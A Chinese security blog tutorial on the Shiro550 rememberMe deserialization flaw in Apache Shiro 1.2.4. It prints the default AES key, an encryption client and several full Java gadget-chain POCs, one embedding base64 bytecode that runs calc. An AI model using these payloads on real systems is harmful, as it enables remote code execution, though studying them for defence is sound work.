[java安全]TemplatesImpl在Shiro550反序列化

news2024/11/28 20:37:20

文章目录

    • 【java安全】TemplatesImpl在Shiro550反序列化
      • Shiro的原理
      • Shiro反序列化产生
      • 演示
      • 攻击过程
        • payload使用key加密
      • 构造不含数组的GadGets
        • 简单调用链
      • 改造cc6为CommonsCollctionsShiro
      • 完整POC
      • 触发Shiro550漏洞
      • 进阶POC
      • 总结

【java安全】TemplatesImpl在Shiro550反序列化

Shiro的原理

为了让浏览器或服务器重启后用户不丢失登录状态，Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中，下次读取时进行解密再反序列化.

Shiro反序列化产生

在Shiro1.2.4版本之前内置了一个默认且固定的加密Key，导致攻击者可以通过这个key来伪造Cookie，进而触发反序列化漏洞

演示

此处使用phith0n的一个基于Shiro1.2.4的简单登录应用，

整个项目只有两个代码文件，index.jsp和login.jsp

依赖：

  • shiro-core、shiro-web，这是shiro本身的依赖

  • javax.servlet-api、jsp-api，这是JSP和Servlet的依赖，仅在编译阶段使用，因为Tomcat中自带这 两个依赖

  • slf4j-api、slf4j-simple，这是为了显示shiro中的报错信息添加的依赖

  • commons-logging，这是shiro中用到的一个接口，不添加会爆 java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory错误

  • commons-collections，为了演示反序列化漏洞，增加了commons-collections依赖

我们启动一下这个项目：

image-20230719211320757

有一个登录框：

账号：root 密码：secret

image-20230719211423227

当我们登录时勾选：Remember me 时，登录成功后，服务端成功登录后会返回rememberMe的cookie

image-20230719211835059

攻击过程

根据上面的登录演示，我们知道了，如果我们在登录时将cookie中rememberMe的值改为经过key加密的payload的值，就可以执行恶意反序列化了

payload使用key加密

这里使用了phithon的脚本：

package com.govuln.shiroattack;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key =
        java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
	}
}

使用shiro内置类org.apache.shiro.crypto.AesCipherService加密，最后生成base64字符串

这里的payload我们使用CommonsCollections6进行生成：

package com.govuln.shiroattack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet，直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

我们将生成加密的base64字符串放入rememberMe中传入，看起来很完美，会弹计算器对吧，结果它报错了：

image-20230719213628573

最后一行报错是org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass

resolveClass()是一个方法是反序列化中寻找类的方法。简单的说，读取序列化流时，如果读取到字符串形式的类名，需要通过这个方法来找到对应的Class对象

我们来查看一下org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass

public class ClassResolvingObjectInputStream extends ObjectInputStream {
    public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
        try {
            return ClassUtils.forName(osc.getName());
        } catch (UnknownClassException var3) {
            throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);
        }
    }
}

这个类继承了ObjectInputStream，重写了resolveClass()方法

我们再看一下其父类ObjectInputStream#resolveClass()方法

protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException
    {
        String name = desc.getName();
        try {
            return Class.forName(name, false, latestUserDefinedLoader());
        } catch (ClassNotFoundException ex) {
            Class<?> cl = primClasses.get(name);
            if (cl != null) {
                return cl;
            } else {
                throw ex;
            }
        }
    }

这两个的区别，前者调用org.apache.shiro.util.ClassUtils#forName()方法

后者使用了原生的Class.forname()方法

为了搞清为什么报错，我们在抛异常的这里打一个断点

image-20230719215311353

发现出异常时加载的类名为[Lorg.apache.commons.collections.Transformer

这个类名看起来怪，其实这是org.apache.commons.collections.Transformer的数组

由于cc6链中使用的是ClassLoader.loadClass()所以有人说loadClass()不支持加载数组

但是结论是：

如果反序列化流中包含非Java自身的数组，则会出现无法加载类的错误

这里用到的Transformer数组是CommonsCollections库中的，所以加载不了

构造不含数组的GadGets

之前我们使用了TemplatesImpl执行java字节码

TemplatesImpl obj = new TemplatesImpl(); 
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); 
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

我们只需调用TemplatesImpl#newTransformer()方法即可执行字节码

但是newTransformer()方法我们可以使用InvokerTransformer#transform()方法来调用，于是可以写成这样：

Transformer[] transformers = new Transformer[]{ 
    new ConstantTransformer(obj), 
    new InvokerTransformer("newTransformer", null, null)
};

ConstantTransformer#transform()的作用就是将obj给返回

这里还是用到了数组，怎么办？我们可以结合cc6中的相关操作

因为使用到了LazyMap这个类的get()方法就可以触发链子

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }
public Object get(Object key) {
        if (!this.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            this.map.put(key, value);
            return value;
        } else {
            return this.map.get(key);
        }
    }

观察一下这个get()方法参数Object key

由于我们LazyMap是这么构造的：

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

所以factory就是transformerChain ，如果我们能控制这个key的话，就可以触发ChainedTransform#transform()方法，进而调用InvokerTransformer#transform()方法

调用TemplatesImpl#newTransformer()方法将key传给InvokerTransformer#transform()方法，如果这个key刚好是TemplatesImpl对象的话，就可以触发方法。这样我们发现，ConstantTransformer可以从Transformer数组中给去掉了

我们怎么控制key？

在cc6中使用了TiedMapEntry：

public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
public Object getValue() {
    return this.map.get(this.key);
}

getValue()会调用map的get方法，如果map是LazyMap而key是TemplatesImpl对象就刚好能满足条件了

此时Transformer数组只有InvokerTransformer这个类对象了，所以也就不需要数组了

Transformer transformer = new InvokerTransformer("getClass", null, null);
//此处传入getClass()方法是为了不被后面的HashMap添加元素导致的链式反应影响

简单调用链

TiedMapEntry#hashCode()
	TiedMapEntry#getValue()
		LazyMap#get()
			ChainedTransformer#transform()
				InvokerTransformer#transform(templates)
					TemplatesImpl#newTransform()

改造cc6为CommonsCollctionsShiro

首先创建TemplatesImpl对象

TemplatesImpl obj = new TemplatesImpl(); 
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); 
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer方法的InvokerTransformer，但注意的是，此时先传入一 个人畜无害的方法，比如getClass，避免恶意方法在构造Gadget的时候触发：

Transformer transformer = new InvokerTransformer("getClass", null, null);

然后我们改一改CommonsCollections6，将TiedMapEntry构造函数第二个值传入TemplatesImpl对象

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);//obj
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
//将参数名改回newTransformer

完整POC

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

触发Shiro550漏洞

将POC生成的字节数组加密后传参给Cookie的rememberMe：

image-20230719225754553

弹出计算器

进阶POC

当InvocationTransformer类被禁用之后，没法调用newTransformer方法了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        String s = "yv66vgAAADQAMwoABwAlCgAmACcIACgKACYAKQcAKgcAKwcALAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAKTEV4ZWNUZXN0OwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAA1TdGFja01hcFRhYmxlBwArBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAA1FeGVjVGVzdC5qYXZhDAAaABsHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAhFeGVjVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAAEAAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAAMAAwAAAAgAAMAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAARAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAFgAXAAIAAAABABgAGQADABMAAAAEAAEAFAABABoAGwABAAoAAABqAAIAAgAAABIqtwABuAACEgO2AARXpwAETLEAAQAEAA0AEAAFAAMACwAAABYABQAAABIABAAUAA0AFwAQABUAEQAYAAwAAAAMAAEAAAASAA0ADgAAABwAAAAQAAL/ABAAAQcAHQABBwAeAAAJAB8AIAABAAoAAAArAAAAAQAAAAGxAAAAAgALAAAABgABAAAAHAAMAAAADAABAAAAAQAhACIAAAABACMAAAACACQ=";
        byte[] bytes= Base64.getDecoder().decode(s);
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer fakeTransformer = new ConstantTransformer("leekos");
        Transformer transformer = InstantiateTransformer.getInstance(new Class[]{Templates.class}, new Object[]{obj});

        Map lazyMap = LazyMap.decorate(new HashMap(),fakeTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,TrAXFilter.class);

        Map hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"leekos");
        //消除影响
        lazyMap.clear();
        setFieldValue(lazyMap,"factory",transformer);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}

我们编写一个可以在jdk1.7、1.8使用的POC

总结

其实Shiro550反序列化的不同点就是Transformer不能为数组，但是我们经过链子的巧妙传参发现可以去除掉ConstantTransformer，这样原本两个元素的Transformer数组变成一个元素，就不需要使用数组了

文末我编写了一个结合CommonsCollections3的POC，可以在jdk1.7、1.8的某些版之前使用(貌似是8u71)，没有使用InvokerTransformer，而是改用了InstantiateTransformer

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20230723将红米redmi note 5 pro由默认的12小时显示修改为24小时显示 2023/7/23 18:51 redmi note 5 pro 24小时 显示 https://jingyan.baidu.com/article/95c9d20dae4c42ad4e7561e7.html 红米手机24小时制怎么设置 播报文章 原创|浏览&#xff1a;169|更新&#xff1a;2021-02…
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【网络】应用层——协议定制 | 序列化和反序列化 | 初识http

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&#x1f431;作者&#xff1a;一只大喵咪1201 &#x1f431;专栏&#xff1a;《网络》 &#x1f525;格言&#xff1a;你只管努力&#xff0c;剩下的交给时间&#xff01; 在前面本喵已经带大家见识过了scoket网络通信的样子&#xff0c;现在开始深入学习网络的原理&#xff…
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华为OD机试真题 Java 实现【经典屏保】【2023 B卷 100分】，附详细解题思路

华为OD机试真题 Java 实现【经典屏保】【2023 B卷 100分】，附详细解题思路

目录 专栏导读一、题目描述二、输入描述三、输出描述四、补充说明四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、再输入4、再输出 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&…
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【微信小程序】使用iView组件库的ActionSheet组件实现底部选择功能

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效果1 效果2 要在微信小程序中使用iView组件库的ActionSheet组件&#xff0c;可以按照以下步骤进行&#xff1a; 首先&#xff0c;确保已经引入了iView组件库的样式和脚本文件。可以在app.wxss中引入iView的样式文件&#xff1a; import "/path/to/iview/weapp/dist/sty…
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RocketMQ深入分析

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RocketMQ深入分析 1. 消息存储 目前的MQ中间件从存储模型来&#xff0c;分为需要持久化和不需要持久化的两种模型&#xff0c;现在大多数的是支持持久化存储的&#xff0c;比如ActiveMQ、RabbitMQ、Kafka、RocketMQ&#xff0c;ZeroMQ却不需要支持持久化存储而业务系统也大多…
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Upgrading kubeadm clusters from v1.27.3 to v1.27.4

Upgrading kubeadm clusters from v1.27.3 to v1.27.4

文章目录 1. Before you begin2. Notes3. Master3.1 Login into the first node and upgrade the kubeadm tool only3.2 Verify the upgrade plan3.3 Drain the control plane node3.4 kubeadm upgrade3.5 Uncordon the control plane node3.6 Upgrade kubelet and kubectl3.7 …
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蓝桥杯专题-真题版含答案-【饮料换购】【方格填数】【四平方和】【垒骰子_递归】

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点击跳转专栏>Unity3D特效百例点击跳转专栏>案例项目实战源码点击跳转专栏>游戏脚本-辅助自动化点击跳转专栏>Android控件全解手册点击跳转专栏>Scratch编程案例点击跳转>软考全系列点击跳转>蓝桥系列 &#x1f449;关于作者 专注于Android/Unity和各种游…
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算法之图论

算法之图论

定义 图通常以一个二元组 G<V, E>表示&#xff0c;V表示节点集&#xff0c;E表示边集。节点集中元素的个数&#xff0c;称为图的阶。 若图G中的每条边都是没有方向的&#xff0c;称为无向图&#xff1b;每条边是由两个节点组成的无序对&#xff0c;例如节点V1和节点V2之…
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